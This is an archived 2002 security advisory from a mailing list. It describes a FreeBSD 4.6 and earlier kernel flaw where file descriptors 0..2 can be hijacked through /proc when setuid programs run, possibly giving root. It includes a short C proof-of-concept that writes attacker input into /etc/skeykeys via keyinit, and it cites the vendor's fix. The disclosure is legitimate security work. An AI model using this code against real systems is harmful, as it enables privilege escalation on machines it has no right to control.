OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
From: Georgi Guninski (guninski_at_guninski.com)
Date: Wed Jul 31 2002 - 10:29:40 CDT

  • Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

    Georgi Guninski security advisory #56, 2002

    FreeBSD <=4.6 kernel problems, yet Linux and *BSD much better than Windows

    Systems affected:
    FreeBSD <= 4.6

    Risk: Probably High
    Date: 31 July 2002

    Legal Notice:
    This Advisory is Copyright (c) 2002 Georgi Guninski.
    You may distribute it unmodified.
    You may not modify it and distribute it or distribute parts
    of it without the author's written permission.
    If you want to link to this content use the URL:
    http://www.guninski.com/freebsd2.html

    Disclaimer:
    The information in this advisory is believed to be true though
    it may be false.
    The opinions expressed in this advisory and program are my own and
    not of any company. The usual standard disclaimer applies,
    especially the fact that Georgi Guninski is not liable for any damages
    caused by direct or indirect use of the information or functionality
    provided by this advisory or program. Georgi Guninski bears no
    responsibility for content or misuse of this advisory or program or
    any derivatives thereof.

    Description:
    It is possible to inject user supplied input to file descriptors 0..2,
    which in some cases (for example if the user is permited to do su) may lead
    to root compromise.

    Details:
    Several months ago Joost Pol <joostpine.nl> made public almost the same
    problem. FreeBSD fixed it, but the patch does not cover all the cases. In
    some cases the kernel closes fds 0..2 after they are assigned to /dev/null,
    leaving the system open to an attack. If a +s file is execed and fds 0..2
    are opened to /proc/curproc/{special} then the kernel forcefully closes
    them and open() then reuses them.

    To test whether you are vulnerable, examine the following C code:
    -------------------------------
    #define MYFD 2
    while( (f=dup(1)) != -1) ; // eat em up
    close(MYFD); // free a fd
    close(3); // this is sometimes needed because execve() fails
    f=open("/proc/curproc/mem",O_WRONLY); // get a fd which the kernel will close
                                             // in a bad moment
    if (f==-1) fprintf(stdout,"Error in open /proc\n");
    execl("/usr/bin/keyinit","\n0xcafebabe\n",0);
    -------------------------------
    On a vulnerable system, 0xcafebabe is put into /etc/skeykeys

    Workaround/Solution:

    FreeBSD-SA-02:23.stdio fixes the problem.

    Vendor status:
    FreeBSD was notified soon. They fixed the issue quite fast.
    Actually according to:
    http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&oe=UTF-8&frame=right&th=d429cd2ef1d3a2b7&seekm=ai6c0q%242289%241%40FreeBSD.csie.NCTU.edu.tw#link16
    They seem to have commited the kernel patch I sent them.

    Regards,
    Georgi Guninski
    http://www.guninski.com